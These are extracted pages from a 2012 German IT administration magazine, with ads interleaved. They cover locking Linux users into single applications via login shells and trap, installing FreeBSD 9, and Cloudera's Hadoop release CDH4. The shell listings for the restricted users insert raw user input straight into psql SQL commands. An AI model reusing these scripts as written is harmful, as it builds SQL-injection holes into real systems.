des Benutzers. In ».bashrc« werden<br />
die Kommandos zum Herunterfahren des<br />
96 Ausgabe 04-2012 Admin www.admin-magazin.de
User Restrictions<br />
Basics<br />
F Abbildung 1: Mit<br />
dem Trap-Befehl lässt<br />
sich in Shell-Skripten<br />
das Abbrechen einer<br />
Anwendung per<br />
[Strg]+[Z] verhindern.<br />
E Abbildung 2: Eine<br />
GUI-Anwendung kann<br />
auch als grafische<br />
Loginshell dienen.<br />
Systems und für die „Zwangsabmeldung“<br />
am Dateiende angehängt:<br />
sudo /sbin/init 0<br />
exit<br />
Damit ist der Sonderbenutzer einsatzklar.<br />
Dialoganwendung<br />
Hier soll der eingeschränkte Benutzer<br />
eine einzige Anwendung ausführen. Sie<br />
wird direkt als Ersatz-Login-Shell gestartet,<br />
der entsprechende Eintrag in »/etc/<br />
passwd« lautet hierfür<br />
inventur1:x:1012:1012:,,,:/home/U<br />
inventur1:/home/inventur1/erfass.sh<br />
Für Inventurarbeiten trägt »inventur1«<br />
per Hand oder Barcode-Leser eine Artikelnummer<br />
mit Stückzahl in eine Maske<br />
ein. Auch in diesem Beispiel soll der<br />
Anwender keinen direkten Shellzugriff<br />
erhalten. Das Problem liegt darin, die<br />
Tastenkombination [Strg]+[Z] abzufangen,<br />
welche die laufende Anwendung<br />
in den Hintergrund schiebt. Dies<br />
übernimmt das »trap«-Kommando. Wird<br />
die Tastenkombination ausgelöst, soll das<br />
Programm einfach weiterarbeiten. Dazu<br />
fügt man in das Shellskript die Zeile<br />
<strong>ADMIN</strong><br />
Netzwerk & Security<br />
www.admin-magazin.de<br />
<strong>ADMIN</strong>-<strong>Magazin</strong> – für alle IT-Administratoren<br />
Bei uns wird SICHERHEIT groß geschrieben<br />
HOME DAS HEFT MEDIADATEN KONTAKT NEWSLETTER ABO<br />
Linux I Windows I Security I Monitoring I Storage I Datenbanken I Mailserver I Virtualisierung<br />
SECURITY<br />
<strong>Server</strong>-Systeme richtig abzusichern<br />
gehört zu den Hauptaufgaben jedes<br />
Administrators. Sei es durch Firewalls,<br />
Intrusion-Detection-Systeme oder Mandatory<br />
Access Control mit SELinux.<br />
Besonderes Augenmerk richtet <strong>ADMIN</strong><br />
auf die Absicherung von Webservern,<br />
die heute mit SQL-Injection, Cross Site<br />
Scripting und Request Forgery bis zu<br />
90% der Sicherheitslücken ausmachen.<br />
Suchen<br />
Diese Website durchsuchen:<br />
Security<br />
➔ über 100 Ergebnisse!<br />
Themen<br />
Suchen<br />
Windows Verschlüsselung Datenbank<br />
IDS Dateisysteme Linux Monitoring<br />
Storage Webserver Virtualisierung<br />
Nobilior, Fotolia<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
97
Basics<br />
User Restrictions<br />
01 #! /bin/sh<br />
02 trap '' 20<br />
03 while true<br />
04 do<br />
05 <br />
»trap '' 20« ein. Der Benutzer »inventur1«<br />
benutzt in Abbildung 1 die Tastenkombination<br />
[Strg]+Z, die aber durch diese<br />
Zeile ignoriert wird. Das Shellskript wird<br />
im Listing 1 gezeigt. Die Tastenkombination<br />
[Strg]+[C] beendet dieses kleine<br />
Programm.<br />
Nutzung einer einzelnen<br />
GUI-Anwendung<br />
Die Beschränkung für Benutzer, eine<br />
einzige GUI-Anwendung zu betreiben,<br />
funktioniert ähnlich wie beim vorigen<br />
Beispiel. Hier entfällt die Notwendigkeit,<br />
die Tastenkombination [Strg]+[Z] zu deaktivieren.<br />
Der Benutzer »surf« bekommt<br />
die Anwendung »opera« als Login-Shell<br />
Listing 1: Spezialanwendung<br />
06 echo " "<br />
07 echo ‐n "Artikelnummer: ";read artnr<br />
08 psql ‐x ‐c "select * from artikel where artnr =<br />
$artnr;"<br />
09 echo ‐n "Weiter [*] ";read wn<br />
10 echo " "<br />
11 echo ‐n " Anzahl/Menge: ";read menge<br />
12 echo ‐n "Einbuchen [*] ";read einbu<br />
13 if [ "$einbu" = "*" ];<br />
14 then<br />
15 psql ‐c "insert into bestand values<br />
($artnr, $menge);"<br />
16 fi<br />
17 <br />
18 done<br />
(mit absoluter Pfadangabe) in »/etc/<br />
passwd« zugewiesen. Mittels »ssh« wird<br />
über das lokale Netzwerk zugegriffen.<br />
Abbildung 2 zeigt den begleitenden Verlauf<br />
auf der Shell und die Anwendung.<br />
Schließt der Benutzer die Anwendung,<br />
wird er abgemeldet.<br />
Desktop-Menü<br />
Darf der Benutzer mehrere Programme<br />
verwenden, benötigt man ein Auswahlmenü.<br />
Ein Shellskript dient dazu, dieses<br />
Menü per »9menu« anzuzeigen. In nur<br />
einer Skriptzeile findet sich das ganze<br />
Angebot erlaubter Software. Gegenüber<br />
klassischen Desktoplösungen verbraucht<br />
»9menu« auch wenige Rechnerressourcen.<br />
Das Shellskript (Listing 2) wird<br />
mit den folgenden Zeilen von der Datei<br />
».bashrc« aufgerufen:<br />
/home/buero/start.sh<br />
exit<br />
Wichtig ist die absolute Pfadangabe des<br />
Shellskripts. In Listing 2 »start.sh« fängt<br />
der Trap-Befehl wieder den Abbruch über<br />
die Tastatur ab (Signal 2, [Strg]+[C]).<br />
Das Shellskript lässt sich auch beim Anmelden<br />
aus einer Datenbank heraus erzeugen.<br />
Damit kann man zentral in einer<br />
Datenbank festlegen, welcher Mitarbeiter<br />
welches Programm benutzt. Die notwendige<br />
Ergänzung von ».bashrc« zeigt das<br />
Listing 3.<br />
Die Verlängerung von ».bashrc« im Listing<br />
3 macht das „verborgene“ Shellskript<br />
».start.sh« zunächst beschreibbar.<br />
Der »echo«-Befehl erzeugt die ersten<br />
Zeilen. Das Menü selbst wird mittels<br />
der drei Variablen erzeugt. »$a« und<br />
»$c« bilden den Anfang und Schluss der<br />
Menüzeile. »$b« bezieht seinen Inhalt aus<br />
der Datenbankabfrage. Das Skript wird<br />
anschließend nur les- und ausführbar<br />
gemacht. Die so erzeugte Sitzung zeigt<br />
die Abbildung 3.<br />
Nicht hackersicher<br />
Das Beispiel 4 schützt nicht vor den<br />
bösartigen Eingriffen qualifizierter<br />
Benutzer. Es hilft aber, „normale“<br />
Benutzer nicht auf unerwünschte Abwege<br />
gelangen zu lassen. Solange man<br />
keinen Zugriff auf die Shell und Dateimanager<br />
gewährt, sind die Hürden, die<br />
Beschränkungen zu umgehen, für die<br />
meisten Mitarbeiter zu hoch.<br />
Im Zusammenspiel mit einer Dienstanweisung<br />
oder Betriebsvereinbarung, die<br />
jede Umgehung sanktioniert, dürfte das<br />
Ziel erreicht werden: Jeder Benutzer<br />
nutzt nur die Programme, die er für seine<br />
Arbeit wirklich braucht. (ofr) n<br />
Der Autor<br />
Harald Zisler beschäftigt sich seit den frühen<br />
90er-Jahren beruflich und privat mit FreeBSD<br />
und Linux. Zu Technik- und EDV-Themen verfasst<br />
er Zeitschriftenbeiträge und Bücher. Aktuell ist<br />
sein Werk „Computer-Netzwerke“, erschienen<br />
bei Galileo Press.<br />
Listing 2: Desktop-Menü<br />
01 #! /bin/sh<br />
02 trap '' 2<br />
03 9menu ‐label 'test' openoffice.org gimp gedit exit<br />
Listing 3: Menü aus Datenbank<br />
01 chmod 700 .start.sh<br />
02 echo "#! /bin/sh" > .start.sh<br />
03 echo "trap '' 2" >> .start.sh<br />
04 a="9menu ‐label '$USER' "<br />
05 b=`psql ‐t ‐d personal ‐c "select prog from personal<br />
where ma='$USER';"`<br />
06 c="exit"<br />
07 echo $a $b $c >> .start.sh<br />
08 chmod 500 .start.sh<br />
09 /home/buero/.start.sh<br />
10 exit<br />
Abbildung 3: Datenbankgeneriertes Menü.<br />
98 Ausgabe 04-2012 Admin www.admin-magazin.de
FreeBSD<br />
Basics<br />
© my123rf88, 123RF<br />
FreeBSD 9 installieren und testen<br />
Gegenstück<br />
Die Alternative zu Windows und Mac muss nicht immer Linux sein. Mit dem Open-Source-Betriebssystem FreeBSD<br />
9 gibt es ein weiteres leistungsfähiges und kostenloses Unix-System, das dieser Artikel näher vorstellt. Thomas Joos<br />
Ursprünglich basierte FreeBSD auf dem<br />
386BSD für PCs, das wiederum Teile des<br />
Programmcodes dem BSD Unix der University<br />
of California entliehen hatte. Seit<br />
mehr als 20 Jahren wird es nun von einer<br />
großen Entwicklergemeinde ständig weiterentwickelt<br />
und ist eines der größten<br />
Open-Source-Projekte.<br />
FreeBSD ist bei vielen Anwendern wegen<br />
seiner hohen Sicherheit, der Stabilität und<br />
der schnellen Netzwerkanbindung beliebt.<br />
FreeBSD war auch eines der ersten<br />
Betriebssysteme mit IPv6-Unterstützung.<br />
Viele Webserver verwenden FreeBSD,<br />
zum Beispiel auch große Anbieter wie<br />
Yahoo, Strato, Experts Exchange und<br />
Apache. In der Netcraft-Wertung der zuverlässigsten<br />
Webhoster belegt FreeBSD<br />
drei der ersten fünf Plätze. Viele große<br />
Unternehmen setzen intern auf FreeBSD,<br />
zum Beispiel Apple, Cisco oder Juniper.<br />
Mac OS X baut zu Teilen ebenfalls auf<br />
FreeBSD auf.<br />
Das Betriebssystem ist zwar für <strong>Server</strong><br />
optimiert, lässt sich aber problemlos<br />
auch auf dem Desktop installieren. Dazu<br />
stehen zum Beispiel Gnome und KDE<br />
zur Verfügung. Auf der Webseite [1] steht<br />
jeweils die aktuelle FreeBSD-Version als<br />
ISO-Datei für 32 Bit und 64 Bit zur Verfügung.<br />
Auch ältere Editionen stehen hier<br />
zum Download bereit.<br />
FreeBSD unterstützt Netzwerkprotokolle<br />
wie 802.1q, VLANs, PPP, L2TP. Auch<br />
Technologien wie 10-Gigabit-Ethernet,<br />
WLAN, ATM, ISDN, FDDI und UMTS sind<br />
mit FreeBSD problemlos möglich. Mit der<br />
Virtualisierungstechnologie der Jails erlaubt<br />
es FreeBSD, Subsysteme komplett<br />
isoliert voneinander zu betreiben und<br />
damit die Sicherheit zu steigern.<br />
Durch die starke Spezialisierung auf<br />
Netzwerksicherheit und ‐geschwindigkeit<br />
verwenden auch viele Switches<br />
und Router FreeBSD als Betriebssystem,<br />
auch Geräte von namhaften Herstellern<br />
wie Cisco, Juniper oder Netapp. Das<br />
OS ist kompatibel zu x86- und AMD64-<br />
Systemen, inklusive Opteron, Athlon64<br />
und EM64T, UltraSPARC-, IA-64, PC-98-<br />
sowie ARM-Architekturen.<br />
USB 2.0, Bluetooth, PCMCIA, SCSI- und<br />
S-ATA-RAID-Controller werden ebenfalls<br />
unterstützt. Der Kernel beherrscht Stateful<br />
IP-Firewalling, IP Proxy Gateways und<br />
verschiedene Verschlüsselungstechnologien.<br />
Neben Webserver-Software steht in<br />
FreeBSD natürlich die ganze Palette von<br />
anderen Internet-Diensten zur Verfügung,<br />
etwa Mailserver, FTP-<strong>Server</strong>, SSH und so<br />
weiter. Die Installation erfolgt als Port<br />
oder als Paket.<br />
Besserer SSD-Support<br />
Wer eine Vorgängerversion von FreeBSD<br />
9 einsetzt, sollte ein Update in Betracht<br />
ziehen. Die neue Version unterstützt nicht<br />
nur mehr Hardware, sondern bringt auch<br />
die aktuellere Version 28 des von Solaris<br />
stammenden Dateisystems ZFS mit. Sie<br />
erkennt beispielsweise duplizierte Daten<br />
und hilft somit, Storage-Platz zu sparen.<br />
Die neue Version unterstützt auch<br />
RAID-Systeme mit dreifacher Parität<br />
(RAIDz3).<br />
Das Fast File System (FFS) in FreeBSD<br />
erhält die Dateisystemerweiterung Softupdates,<br />
was Datenverlust bei Plattencrashes<br />
verhindern soll. Nun unterstützt<br />
das FFS auch den TRIM-Befehl für SSD-<br />
Festplatten. Neben dem Alignment, dem<br />
optimalen Verhältnis zwischen Startpartition<br />
und Flashzellen, spielt TRIM eine<br />
Schlüsselrolle bei der Performance von<br />
SSDs. Bei SSDs müssen Speicherblöcke<br />
komplett gelöscht werden, bevor sie<br />
sich neu beschreiben lassen. Die TRIM-<br />
Technologie des Betriebssystems teilt<br />
der SSD mit, welche Speicherblöcke die<br />
Platte löschen darf. Mehr dazu verrät der<br />
<strong>ADMIN</strong>-Artikel [2].<br />
FreeBSD 9.0 unterstützt jetzt das Dateisystem<br />
Highly Available Storage (HAST),<br />
mit dem sich hochverfügbare Dateisysteme<br />
im Netzwerk betreiben lassen [3].<br />
Dazu speichert das Betriebssystem die<br />
Daten transparent gleichzeitig auf zwei<br />
getrennten Hosts im Netz. Damit entsteht<br />
eine Art RAID1-Mirror im lokalen Netz.<br />
Der TCP/IP-Stack unterstützt neue Treiber,<br />
zum Beispiel die Chipsätze Atheros<br />
AR8121, AR8113 und AR8114. WLAN-<br />
Verbindungen sind jetzt sicherer und<br />
stabiler, auch IPFilter, OpenSSH und<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
99
Basics<br />
FreeBSD<br />
OpenPAM wurden aktualisiert. Bei der<br />
Installation des Betriebssystems hat das<br />
neue BSDInstall den alten Installer abgelöst.<br />
Neu ist jetzt die Option, FreeBSD<br />
von einem USB-Stick aus zu installieren.<br />
Live-CD oder Installation<br />
Starten Administratoren einen Rechner<br />
mit dem FreeBSD-Installationsdatenträger,<br />
lässt sich direkt eine Live-Umgebung<br />
starten oder das System installieren (Abbildung<br />
1). Die Installation erfordert keine<br />
speziellen Kenntnisse und ist komplett<br />
assistentenbasiert.<br />
Beim Starten der Installation können<br />
Administratoren die Partitionierung der<br />
Festplatten manuell in der Shell mit einem<br />
Assistenten durchführen. Der manuelle<br />
Weg ist aber nicht ganz einfach<br />
und daher fehlerträchtig. Verwenden Sie<br />
den Assistenten, müssen Sie die Konfiguration<br />
aber nur mit »Finish« abnicken.<br />
Grundsätzlich legt der Assistent drei<br />
Partitionen an: »freebsd‐boot«, den Bootbereich<br />
auf der primären Partition des<br />
Rechners, »freebsd‐ufs«, das UFS-Dateisystem<br />
mit den Daten von FreeBSD, und<br />
»freebsd‐swap« für die Auslagerungsdatei.<br />
Weitere Einstellungen sind während<br />
der Installation zunächst nicht notwendig.<br />
Grundsätzlich ist FreeBSD eher ein<br />
sparsames Betriebssystem, das für die<br />
Grundausstattung nur knapp 1,1 GByte<br />
freien Plattenplatz benötigt. Wer allerdings<br />
eine grafische Oberfläche installieren<br />
möchte, sollte besser 3 bis 5 GByte<br />
einkalkulieren.<br />
FreeBSD 9 einrichten und<br />
verwenden<br />
Abbildung 1: Auswahl beim Starten von FreeBSD.<br />
Erkennt der BSD-Installer eine WLAN-<br />
Netzwerkkarte, können Sie bereits während<br />
der Installation das WLAN verwenden.<br />
FreeBSD 9 unterstützt dabei alle<br />
gängigen Verschlüsselungsmethoden,<br />
auch WPA2. In der Shell öffnen Sie das<br />
Konfigurationstool für FreeBSD mit dem<br />
Befehl »sysinstall«. Hierüber können Sie<br />
auch nachträglich Änderungen an der IP-<br />
Konfiguration vornehmen. Die Dokumentation<br />
der Entwickler ist sehr umfangreich<br />
und auch auf Deutsch verfügbar<br />
[4]. Hilfe findet sich aber nicht nur dort,<br />
sondern auch in Foren wie [5].<br />
Anwendungen installieren<br />
Um Anwendungen zu installieren, verwenden<br />
Sie entweder die Ports-Sammlung<br />
zur Installation aus dem Quellcode<br />
(Abbildung 2) oder Pakete von bereits<br />
kompilierten Softwarepaketen. Aktuell<br />
sind über 23 000 Anwendungen über diesen<br />
Weg installierbar. Eine aktuelle Liste<br />
verfügbarer Anwendungen unterschiedlicher<br />
Kategorien führt [6]. FreshPorts [7]<br />
verfolgt Änderungen an Anwendungen.<br />
Sie können sich auf Wunsch E-Mails zusenden<br />
lassen, wenn sich Anwendungen<br />
ändern. Kennen Sie den Namen eines<br />
Programms, aber nicht dessen Speicherort,<br />
verwenden Sie in FreeBSD das<br />
Tool »whereis«, zum Beispiel »whereis<br />
lsof«. Mit »sysinstall« können Sie neben<br />
System einstellungen auch Pakete installieren,<br />
löschen und anzeigen.<br />
Für die Verwaltung der Pakete stehen in<br />
der Shell die Befehle »pkg_add«, »pkg_delete«<br />
oder »pkg_info« zur Verfügung. Der<br />
Port einer Anwendung ist eine Sammlung<br />
von Dateien, die das Kompilieren<br />
automatisieren. Bei der Installation über<br />
einen Port lädt FreeBSD den Quellcode<br />
der Anwendung automatisch herunter,<br />
entpackt, übersetzt und installiert ihn.<br />
Installieren Sie eine Anwendung, die<br />
von einer Bibliothek abhängt, erkennt<br />
FreeBSD diese und installiert die Abhängigkeiten<br />
automatisch. Wenn Sie eine Anwendung<br />
über Ports installieren, können<br />
Sie die Angabe der Optionen für FreeBSD<br />
optimieren. Sie können zum Beispiel die<br />
Anwendung für spezielle Prozessoren<br />
anpassen.<br />
Paketmanagement<br />
Mit »pkg_add« installieren Sie Pakete lokal<br />
oder über das Internet beziehungsweise<br />
das Netzwerk. Wenn die Pakete<br />
nicht lokal gespeichert sind, sondern aus<br />
dem Internet geladen werden müssen,<br />
verwenden Sie die Option »‐r« von »pkg_<br />
add«. Das Werkzeug bestimmt dann automatisch<br />
das nötige Objektformat und<br />
die richtige Version des Pakets, lädt es<br />
dann von einem FTP-<strong>Server</strong> und installiert<br />
es.<br />
Pakete lädt FreeBSD automatisch vom<br />
festgelegten FreeBSD-Mirror herunter<br />
(Abbildung 3). Wollen Sie einen anderen<br />
<strong>Server</strong> verwenden, geben Sie ihn in der<br />
Ist die Installation abgeschlossen, besteht<br />
die Möglichkeit, Benutzer für das System<br />
anzulegen. Das ist natürlich auch<br />
jederzeit nachträglich möglich. FreeBSD<br />
schlägt dazu auch Standardeingaben vor,<br />
die Sie lediglich bestätigen müssen. Im<br />
Rahmen der Einrichtung legen Sie auch<br />
die Netzwerkverbindung fest. Sie können<br />
entweder manuell IPv4- und IPv6-Adressen<br />
festlegen oder das Netzwerk über<br />
DHCP konfigurieren. Die Konfiguration<br />
können Sie auch nachträglich anpassen,<br />
zum Beispiel wenn Sie Gnome 2.32.1<br />
oder KDE 4.7.3 als grafische Benutzeroberfläche<br />
installieren.<br />
Abbildung 2: Neben Binärpaketen bietet FreeBSD mit den Ports einen Weg, alle Software selbst zu kompilieren.<br />
100 Ausgabe 04-2012 Admin www.admin-magazin.de
FreeBSD<br />
Basics<br />
Umgebungsvariablen »PACKAGESITE«<br />
an. Die Dateien werden mit »fetch« heruntergeladen.<br />
Geben Sie bei »pkg_add«<br />
nicht die Version eines Programms an,<br />
lädt das Tool automatisch die neueste<br />
Version. Die installierten Pakete zeigt der<br />
Befehl »pkg_info« an. Um ein Paket zu<br />
entfernen, verwenden Sie »pkg_delete«.<br />
Der Befehl benötigt die vollständige Bezeichnung<br />
des Paketes. Die Versionsnummer<br />
verrät »pkg_version«.<br />
Auch Ports können Sie über »sysinstall«<br />
hinzufügen. In diesem Fall installieren<br />
Sie aber die Version des Programms, die<br />
zum Zeitpunkt der Veröffentlichung der<br />
installierten FreeBSD-Version aktuell war.<br />
Jeder Port enthält eine Datei »Makefile«,<br />
die Anweisungen für das Kompilieren der<br />
Anwendung auflistet. Zusätzlich gibt es<br />
die Datei »distinfo«, die eine Liste der<br />
Dateien sowie deren MD5-Prüfsummen<br />
enthält. Im Verzeichnis »files« liegen<br />
Patches, die generischen Quellcode auf<br />
FreeBSD portieren oder andere Anpassungen<br />
vornehmen.<br />
Die Datei »pkg‐descr« enthält eine Beschreibung<br />
der entsprechenden Anwendung,<br />
»pkg‐plist« ist eine Liste aller<br />
Dateien, die durch den Port installiert<br />
werden. Ein Port enthält nur die Anweisungen,<br />
wie der Quellcode kompiliert<br />
werden muss, den Quellcode selbst lädt<br />
der Installationsassistent aus dem Internet.<br />
Zum Installieren von Ports müssen<br />
Sie als »root« angemeldet sein. Ist das<br />
Kompilieren beendet, verwenden Sie den<br />
Befehl »make install« zur Installation des<br />
Ports.<br />
Desktop-Systeme<br />
Standardmäßig wird FreeBSD ohne grafische<br />
Benutzeroberfläche installiert, das<br />
System ist vor allem für den Betrieb auf<br />
<strong>Server</strong>n optimiert. Sie können aber nachträglich<br />
problemlos Gnome oder KDE installieren.<br />
Dazu melden Sie sich nach dem<br />
Start als Benutzer »root« an und wechseln<br />
in das Verzeichnis »/usr/ports/x11/xorg«.<br />
Kompilieren Sie mit »make install clean«<br />
Xorg als X-<strong>Server</strong>.<br />
Alternativ installieren Sie mit »pkg_add<br />
‐r xorg« direkt die Xorg-Binär-Pakete, die<br />
das System von einem <strong>Server</strong> lädt. Nachdem<br />
der X-<strong>Server</strong> installiert ist, müssen<br />
Sie sich noch für eine grafische Oberfläche<br />
entscheiden, also Gnome 2 oder<br />
Abbildung 3: FreeBSD lässt den Anwender den nächstgelegenen Mirror-<strong>Server</strong> für die Paketinstallation wählen.<br />
KDE. Um Gnome zu installieren, verwenden<br />
Sie den Befehl »pkg_add ‐r gnome2«.<br />
Über die Ports-Sammlung kompilieren Sie<br />
Gnome mit:<br />
cd /usr/ports/x11/gnome2<br />
make install clean<br />
Ist Gnome installiert, müssen Sie den X-<br />
<strong>Server</strong> des Computers so konfigurieren,<br />
dass er Gnome statt des standardmäßigen<br />
Window-Managers startet. Dazu editieren<br />
Sie die Datei »/etc/rc.conf« und fügen am<br />
Ende die »gnome_enable="YES"« ein.<br />
Nach dem Speichern und einem Neustart<br />
startet FreeBSD automatisch die Gnome-<br />
Oberfläche.<br />
Starten Sie FreeBSD neu, ist vermutlich<br />
noch die amerikanische Tastatur aktiviert.<br />
Um die Einstellungen auf Deutsch umzustellen,<br />
klicken Sie oben auf »System«<br />
und wählen »Preferences | Keyboard«.<br />
Auf der Registerkarte »Layout« können<br />
Sie die deutsche Tastatur hinzufügen und<br />
die amerikanische entfernen.<br />
FreeBSD-Derivate für<br />
Anfänger<br />
Wem die Installation von Gnome oder<br />
KDE zu kompliziert ist, der findet im Internet<br />
auch FreeBSD-Ableger, die auf den<br />
Betrieb mit einer Desktop-Umgebung optimiert<br />
sind. Auf der Seite [8] laden Sie<br />
die ISO-Datei von PC-BSD herunter, eine<br />
deutsche Internetseite finden Sie über<br />
[9]. Für den Betrieb als <strong>Server</strong> ist diese<br />
Version allerdings weniger geeignet. PC-<br />
BSD verwendet KDE als grafische Oberfläche.<br />
Eine weitere Möglichkeit, FreeBSD<br />
einfacher zu testen und zu installieren,<br />
ist DesktopBSD [10]. Auch diese Edition<br />
verfügt nach der Installation sofort über<br />
eine grafische Benutzeroberfläche auf<br />
Basis von KDE.<br />
Fazit<br />
FreeBSD ist ein ausgereiftes Unix-System<br />
für den <strong>Server</strong>. Wer ein freies Betriebssystem<br />
für einen Web- oder E-Mail-<strong>Server</strong><br />
sucht, sollte einen Blick auf FreeBSD<br />
werfen. In puncto Stabilität ist es Linux<br />
mindestens ebenbürtig. Allerdings setzt<br />
die Verwaltung des Systems einiges an<br />
Wissen voraus. Die meisten Virtualisierungslösungen<br />
unterstützen den Betrieb<br />
von FreeBSD auch als virtuellen <strong>Server</strong>,<br />
etwa VMware oder Virtualbox. Um das<br />
System zu testen, ist also keine echte<br />
Hardware notwendig. Ein Betrieb als<br />
Desktop-System ist eher für Administratoren<br />
oder experimentierfreudige Anwender<br />
sinnvoll, für die es spezialisierte<br />
FreeBSD-Varianten mit GUI gibt. (ofr) n<br />
Infos<br />
[1] FreeBSD: [http:// www. freebsd. org/ de/]<br />
[2] Werner Fischer, SSD-Performance optimieren,<br />
<strong>ADMIN</strong> 03/2011: [http:// www.<br />
admin‐magazin. de/ Das‐Heft/ 2011/ 03/<br />
SSD‐Performance‐optimieren]<br />
[3] HAST: [http:// wiki. freebsd. org/ HAST]<br />
[4] Handbuch: [http:// www. freebsd. org/ doc/<br />
de_DE. ISO8859‐1/ books/ handbook/]<br />
[5] BSD-Forum: [http:// www. bsdforen. de]<br />
[6] Ports: »http://www.FreeBSD.org/ports«<br />
[7] Freshports: [http:// www. FreshPorts. org]<br />
[8] PC-BSD: [http:// pcbsd. org]<br />
[9] Deutsche PC-BSD-Seite:<br />
[http:// www. pcbsd. de]<br />
[10] Desktop-BSD: [http:// desktopbsd. net]<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
101
Test<br />
Cloudera<br />
© sxwx, 123RF<br />
Clouderas Hadoop-Distribution runderneuert<br />
Das vierte<br />
Programm<br />
In der freien Software-Welt bietet Hadoop die Grundlage für Big-Data-<br />
Anwendungen. Die zueinander passenden Komponenten der Hadoop-<br />
Welt zu installieren, ist schon nicht einfach. Abhilfe schafft die Cloudera-<br />
Distribution für Hadoop. Ramon Wartala<br />
Seit 2007 ist die Apache Foundation die<br />
Heimat von Hadoop. Neben dem verteilten<br />
Dateisystem HDFS und dem Map-Reduce-Framework<br />
Hadoop Commons sind<br />
auch viele darauf aufbauende Werkzeuge<br />
dort untergekommen. Der Grund dafür<br />
liegt darin, dass viele der mitwirkenden<br />
Firmen die eigenen Inhouse- oder Kunden-Lösungen<br />
einer größeren Entwicklergemeinde<br />
zugänglich machen wollten.<br />
Die Installation der einzelnen Komponenten<br />
von Hadoop ist alles andere als<br />
trivial. Möchte man den gesamten Stack<br />
aus Hadoop-Grundsystem plus zusätzliche<br />
Tools wie Zookeeper, Pig, Hive und<br />
so weiter auf einem Cluster installieren,<br />
ist die Nutzung der Apache-Versionen<br />
nicht in allen Fällen empfehlenswert, da<br />
man hier genau darauf achten muss, welcher<br />
Release-Stand mit welcher Version<br />
kooperieren kann.<br />
Um diesen Zustand zu verbessern, bieten<br />
Firmen wie Cloudera, Hortonworks,<br />
Greenplum, IBM oder MapR eigene Hadoop-Distributionen,<br />
die – ähnlich dem<br />
Paketkonzept der gängiger Linux-Distributionen<br />
– spezifische Installationsprogramme<br />
mitbringen.<br />
Die kalifornische Firma Cloudera war<br />
eine der ersten, die Beratung und Schulungen<br />
rund um Hadoop und die Lösung<br />
von Big-Data-Problemen anboten. Schon<br />
früh hat sie auch mit der Cloudera Distribution<br />
for Hadoop (CDH) eine Sammlung<br />
von Werkzeugen zusammengestellt, die<br />
für Debian/Ubuntu, Suse und Red Hat<br />
eine vereinfachte Installation bietet.<br />
Die jetzt erschienene Version 4 (kurz<br />
CDH4) bringt eine Reihe von Verbesserungen<br />
mit sich [1]. Diese betreffen sowohl<br />
das Grundsystem Hadoop Common<br />
und HDFS als auch diverse Werkzeuge,<br />
die sich über das CDH4-Paketmanagement<br />
nachinstallieren lassen.<br />
Hadoop Common und HDFS<br />
Grundlage des neuen CDH4 ist Hadoop<br />
in Version 0.23.1, das der Apache-Version<br />
vom Februar diesen Jahres entspricht<br />
(aktueller Release-Stand bei Redaktionsschluss<br />
war 2.0.0-alpha). Ein Vorteil<br />
dieser Version ist ihre Kompatibilität zu<br />
vielen anderen Werkzeugen des Hadoop-<br />
Ökosystems wie HBase, Pig, Oozie und<br />
Hive. Gleichzeitig sind eine Reihe von<br />
Konfigurationseinstellungen älterer Versionen<br />
weggefallen, sodass die nötigen<br />
manuellen Handgriffe bei der Installation<br />
auf ein Minimum reduziert werden.<br />
In den vergangenen Hadoop-Versionen<br />
war eine der kritischsten Schwachstellen<br />
der Architektur der Namenode-Daemon,<br />
der die gesamten Metadaten des verteilten<br />
Dateisystems HDFS verwaltet.<br />
Dabei führt er über jede Änderung des<br />
Dateisystems Buch und schreibt diese<br />
Änderungen erst in den Hauptspeicher<br />
und dann in ein lokales Dateisystem.<br />
Bei einem Ausfall des Namenode konnte<br />
unter Umständen das gesamte Dateisystem<br />
von Hadoop zerstört werden. Diesen<br />
Single-Point-Of-Failure (SPOF) behebt der<br />
HDFS-High-Availability-Patch.<br />
Zuverlässiger<br />
Dabei kann ein zweiter Rechner als<br />
redundante Namenode dienen, der im<br />
Fall eines Absturzes der ersten sofort<br />
einspringen kann. Hadoops Namenodes<br />
schreiben in regelmäßigen Abständen die<br />
durchgeführten Transaktionen in ein normales<br />
Dateisystem. Bei einer Hochverfügbarkeitskonfiguration<br />
müssen diese<br />
Daten auf ein SAN oder NAS geschrieben<br />
werden, damit der Fallback-Namenode<br />
die Chance hat, im Falle eines Ausfalls sofort<br />
auf die aktuellen Daten zuzugreifen.<br />
Diese Funktionalität lässt sich seit der<br />
zweiten Beta-Version auch nutzen, wenn<br />
für den Hadoop-Cluster die Kerberos-<br />
Authentifizierung eingestellt ist.<br />
Um auf Hadoops Dateisystem von anderen<br />
Systemen aus zuzugreifen, wurde der<br />
wenig leistungsfähige, alte HDFS-Proxy<br />
durch die REST-basierte <strong>Server</strong>-Komponente<br />
HDFS over HTTP (HttpFS) und die<br />
WebHDFS-API ersetzt. Der HttpFS-<strong>Server</strong><br />
102 Ausgabe 04-2012 Admin www.admin-magazin.de
Linux-<strong>Magazin</strong><br />
ACADEMY<br />
stellt einen Gateway dar, der sämtliche<br />
Lese- und Schreiboperationen ausführt,<br />
die über HTTP-REST-Aufrufe initiiert werden<br />
können. Damit lässt sich Hadoops<br />
Dateisystem mit anderen Programmiersprachen<br />
als Java oder C oder mithilfe<br />
einfacher Kommandozeilen-Tools wie<br />
»curl« oder »wget« manipulieren. Zum<br />
Beispiel liest der folgende Curl-Aufruf<br />
eine Datei aus dem HDFS:<br />
curl ‐i ‐L "http://Hostname:PortU<br />
/webhdfs/v1/Pfad?op=OPEN[&offset=U<br />
Wert][&length=Wert][&buffersize=Wert]"<br />
Dabei kann der Anwender mit den optionalen<br />
Parametern »offset«, »length« und<br />
»buffersize« die Größe der zurückgegebenen<br />
Daten vorgeben.<br />
MRv1 vs. MRv2<br />
CDH4 ist zu den letzten API-Versionen<br />
des Map-Reduce-Frameworks kompatibel<br />
(von 0.20.205 an). Hier spricht<br />
man auch vom Map-Reduce-Framework<br />
1.0 (MRv1). Dieses Framework ist das<br />
Standard-Framework für die Erstellung<br />
von Map-Reduce-Anwendungen in Java.<br />
Neu hinzugekommen ist die alternative<br />
MRv2-Implementierung eines Map-Reduce-Frameworks,<br />
die speziell für sehr<br />
große Cluster-Installationen von Hadoop<br />
(mehr als 4000 Rechner-Knoten) entwickelt<br />
wurde. Dieses von Yahoo 2010 entwickelte<br />
Framework, das dort unter dem<br />
